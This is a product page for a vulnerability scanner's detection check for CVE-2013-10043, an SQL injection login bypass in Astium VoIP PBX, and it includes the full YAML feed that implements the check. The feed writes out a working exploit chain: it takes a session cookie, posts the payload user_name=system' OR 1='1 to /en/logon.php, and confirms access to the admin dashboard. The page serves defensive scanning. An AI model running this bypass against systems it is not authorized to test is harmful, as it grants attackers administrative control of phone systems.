Astium — 1 vulnerability check

noctis ships 1 vulnerability check for Astium, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Astium VoIP PBX <= 2.1 logon.php SQL injection login bypass

CVECVE-2013-10043
Severitycritical · CVSS 10.0
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/astium/CVE-2013-10043.yaml

Takes the Astium session cookie, posts a SQL injection payload to /en/logon.php and reports when that session then opens the system admin's dashboard without valid credentials.

How noctis detects it

  1. HTTP(S) request GET /index.php?js=0ctest=1&test=1&ctest=1
  2. Checks r1.headers.location for astiumnls=([a-z0-9]+)
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST /en/logon.php with a crafted body
  5. Checks r2.status for ^302$
  6. HTTP(S) request GET /en/database/dashboard.php
  7. Checks r3.body for system admin's Dashboard → finding QoD 75: Astium VoIP PBX SQLi login bypass reached the authenticated dashboard (system admin's Dashboard) — CVE-2013-10043.

References:

Feed source — tests/vulnerabilities/astium/CVE-2013-10043.yaml
uid: 2b7e4c90-1a6d-4e52-8f3b-7c9d0a5e61f4
name: "CVE-2013-10043 — Astium VoIP PBX <= 2.1 logon.php SQL injection login bypass (CVSS 10.0)"
description: "Takes the Astium session cookie, posts a SQL injection payload to /en/logon.php and reports when that session then opens the system admin's dashboard without valid credentials."
cves: [CVE-2013-10043]
cvss: 10.0
severity: critical
category: sqli
confidence_base: 0.30
tags: [astium, voip, sqli]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-10043"
  - "OpenVAS NASL 2013/gb_astium_voip_pbx_51273.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2013/gb_astium_voip_pbx_51273.nasl (GPL-2.0-only).
# Faithful three-request flow: GET index.php to obtain an astiumnls session (302), POST the
# SQLi login bypass to logon.php (302 -> dashboard.php), then GET the dashboard and confirm the
# authenticated "system admin's Dashboard" page. The engine has no cookie jar, so the NASL's
# Cookie header (testcookie=test; astiumnls=<id>; mypanel=up) is sent explicitly on the POST and
# the dashboard GET, and the exact NASL urlencoded body is used. Patched builds do not grant the
# session, so the chain stops at step 1 (non-trivial negative).
steps:
  - id: init
    action: set_var
    var_name: s1
    var_value: false
  - id: init2
    action: set_var
    var_name: s2
    var_value: false

  - id: session
    action: http_request
    method: GET
    path: "/index.php?js=0ctest=1&test=1&ctest=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: r1
  # Extract the astiumnls session id from the step-1 redirect, exactly as the NASL does,
  # so the follow-up POST carries the real session (faithful, avoids false negatives).
  - id: session-gate
    action: match
    source: r1.headers.location
    pattern: "astiumnls=([a-z0-9]+)"
    condition: "r1.status == 302"
    store_as: nls_match
    on_match:
      set_vars:
        s1: true
  - id: nls-store
    action: script
    code: 'nls_match["captures"][0]'
    store_as: nls
    condition: "s1 == true"

  - id: logon
    action: http_request
    method: POST
    path: "/en/logon.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "s1 == true"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Cookie: "testcookie=test; astiumnls={{nls}}; mypanel=up"
    body: "astiumnls={{nls}}&__act=submit&user_name=system%27+OR+1%3D%271&pass_word=noctis&submit=Login"
    store_as: r2
  - id: logon-gate
    action: match
    source: r2.status
    pattern: "^302$"
    condition: "s1 == true"
    on_match:
      set_vars:
        s2: true

  - id: dashboard
    action: http_request
    method: GET
    path: "/en/database/dashboard.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "s2 == true"
    headers:
      Cookie: "testcookie=test; astiumnls={{nls}}; mypanel=up"
    store_as: r3
  - id: detect
    action: match
    source: r3.body
    pattern: "system admin's Dashboard"
    condition: "s2 == true && r3.status == 200"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Astium VoIP PBX SQLi login bypass reached the authenticated dashboard (system admin's Dashboard) — CVE-2013-10043."
      stop: true

View these feeds on GitHub